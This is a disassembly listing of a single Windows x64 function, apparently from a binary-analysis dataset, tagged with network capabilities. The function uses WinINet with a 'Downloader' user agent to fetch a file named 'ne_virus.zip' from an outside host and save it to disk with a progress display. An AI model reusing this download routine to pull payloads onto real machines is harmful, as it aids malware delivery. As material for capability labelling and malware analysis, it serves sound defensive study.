Function at 0x14002efc0
Capabilities:
Create http request
Get http content length
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x4a0]
sub rsp, 0x5a0
mov rax, qword [0x140043080]
xor rax, rsp
mov qword [rbp + 0x490], rax
xor edi, edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.Downloader
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r14, rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.http:__wildclient.pro_ne_virus.zip
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rsi, rax
test rax, rax
je 0x14002f241
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x80]
call fcn.14002fac0
lea rcx, [rbp - 0x80]
call fcn.1400039f0
nop
mov dword [rsp + 0x68], edi
mov dword [rsp + 0x70], 4
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x70]
lea r8, [rsp + 0x68]
mov edx, 0x20000005
mov rcx, rsi
call qword [sym.imp.WININET.dll_HttpQueryInfoW]
lea r9, [rsp + 0x6c]
mov r8d, 0x400
lea rdx, [rbp + 0x90]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
lea r15, [0x140044650]
test eax, eax
je 0x14002f121
nop
mov eax, dword [rsp + 0x6c]
test eax, eax
je 0x14002f121
mov r8d, eax
lea rdx, [rbp + 0x90]
lea rcx, [rbp - 0x80]
call fcn.140003dc0
add edi, dword [rsp + 0x6c]
imul eax, edi, 0x64
xor edx, edx
div dword [rsp + 0x68]
mov ebx, eax
lea rdx, str._rDownloading:
mov rcx, r15
call fcn.140006390
mov rcx, rax
mov edx, ebx
call fcn.140002810
mov rcx, rax
lea rdx, [0x14003c5e0]
call fcn.140006390
lea r9, [rsp + 0x6c]
mov r8d, 0x400
lea rdx, [rbp + 0x90]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x14002f0b0
mov rax, qword [0x140044650]
movsxd rax, dword [rax + 4]
mov rax, qword [rax + r15 + 0x40]
mov rcx, qword [rax + 8]
mov qword [rsp + 0x38], rcx
mov rax, qword [rcx]
call qword [rax + 8]
nop
lea rcx, [rsp + 0x30]
call fcn.1400075b0
mov r8, qword [rax]
mov dl, 0xa
mov rcx, rax
call qword [r8 + 0x60]
movzx ebx, ax
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x14002f17d
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test rax, rax
je 0x14002f17d
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
movzx edx, bx
mov rcx, r15
call fcn.140008220
mov rcx, r15
call fcn.140005f10
lea rcx, [rbp - 0x78]
call fcn.140005520
test rax, rax
jne 0x14002f1d0
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rbp + rcx - 0x38], 0
cmovne eax, edx
or eax, dword [rbp + rcx - 0x70]
and eax, 0x17
mov dword [rbp + rcx - 0x70], eax
mov edx, dword [rbp + rcx - 0x6c]
and edx, eax
jne 0x14002f276
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x80], rax
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x7c], edx
lea rcx, [rbp - 0x78]
call fcn.140003720
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x80], rax
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x7c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x28], rax
lea rcx, [rbp + 0x28]
call fcn.14000a7b8
nop
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x490]
xor rcx, rsp
call fcn.14000b410
lea r11, [rsp + 0x5a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
test dl, 4
je 0x14002f284
lea rbx, str.ios_base::badbit_set
jmp 0x14002f299
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x30]
call fcn.140001430
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.140002590
lea rdx, [0x1400419e0]
lea rcx, [rsp + 0x40]
call fcn.14000d2c0
int3